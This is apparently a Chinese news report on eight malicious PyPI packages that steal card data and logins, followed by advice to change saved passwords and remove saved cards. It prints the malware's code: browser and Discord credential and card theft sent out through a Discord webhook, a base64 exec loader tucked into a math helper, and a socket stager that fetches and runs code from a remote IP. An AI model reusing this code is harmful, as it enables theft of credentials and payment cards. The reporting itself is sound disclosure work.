优质文章，第一时间送达！
近日，有研究人员又在 Python 官方软件包存储库 PyPI 中发现了 8 个恶意软件包，这些恶意代码会暗中窃取信用卡数据和登录凭据，并在受感染的机器上注入恶意代码。据估计，这些软件包的下载次数达到了 3 万次。
local = os.getenv('LOCALAPPDATA')roaming = os.getenv('APPDATA')paths = {'Discord': roaming + '\\Discord','Discord Canary': roaming + '\\discordcanary','Discord PTB': roaming + '\\discordptb','Google Chrome': local + '\\Google\\Chrome\\User Data\\Default','Opera': roaming + '\\Opera Software\\Opera Stable','Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default','Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default'}
{"type": 1,"id": "807327703082074143","name": "Captain Hook","avatar": ,"channel_id": "725001140324008047","guild_id": "720931953251057725","application_id": ,"token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"}
def cs():master_key = master()login_db = os.environ['USERPROFILE'] + os.sep + \r'AppData\Local\Google\Chrome\User Data\default\Web Data'shutil.copy2(login_db,"CCvault.db")conn = sqlite3.connect("CCvault.db")cursor = conn.cursor()try:cursor.execute("SELECT * FROM credit_cards")for r in cursor.fetchall():username = r[1]encrypted_password = r[4]decrypted_password = dpw(encrypted_password, master_key)expire_mon = r[2]expire_year = r[3]hook.send(f"CARD-NAME:" + username + "\nNUMBER:" + decrypted_password + "\nEXPIRY M:" + str(expire_mon) + "\nEXPIRY Y:" + str(expire_year) + "\n" + "*" * 10 + "\n")
login_db = os.environ['USERPROFILE'] + os.sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data'...cursor.execute("SELECT action_url, username_value, password_value FROM logins")decrypted_password = dpw(encrypted_password, master_key)if username != ""or decrypted_password !="":hook.send(f"URL:" + url + "\nUSER:" + username + "\nPASSWORD:" + decrypted_password + "\n" + "*" * 10 + "\n")
IP 地址；
计算机名；
用户名；
Windows 许可关键信息；
Windows 版本；
屏幕截图（使用 Pillow 的 ImageGrab）。
import mathimport base64,sysdef hello():exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs...'))def hypotenuse(a,b):hello()c = math.sqrt(math.pow(a,2) + math.pow(b,2))return round(c,2)def other(c,x):y = math.sqrt(math.pow(c,2)-math.pow(x,2))return round(y,2)
import socket,struct,times=socket.socket(2,socket.socket.socket.SOCK_STREAM)s.connect(('172.16.60.80',9009))l=struct.unpack('>I',s.recv(4))[0]print (l)d=s.recv(l)print (d)while len(d)>!1:d+=s.recv(l-len(d))print (d)exec(d,{'s':s})
检查 Edge 中保存了哪些密码，并在每个网站上更改这些被泄露的密码（还包括重复使用相同密码的网站）。你可以这样做：打开 Edge，然后导航到 edge://settings/passwords。保存密码的完整列表（这些都是潜在的危害）可以在 Saved passwords 查看。
检查哪些信用卡信息保存在 Chrome，可以考虑在 Chrome 中取消这些信用卡。你可以这样做：打开 Chrome，导航到 chrome://settings/payments。完整的信用卡信息列表（这些都是潜在的危害）可以在 Payment methods 中查看。
厉害了，Pandas 的表格居然能变得怎么漂亮！
有了这款神器，轻松用 Python 写个 APP
Django 之美
高大上的数学科普视频，敲敲代码就能出来！
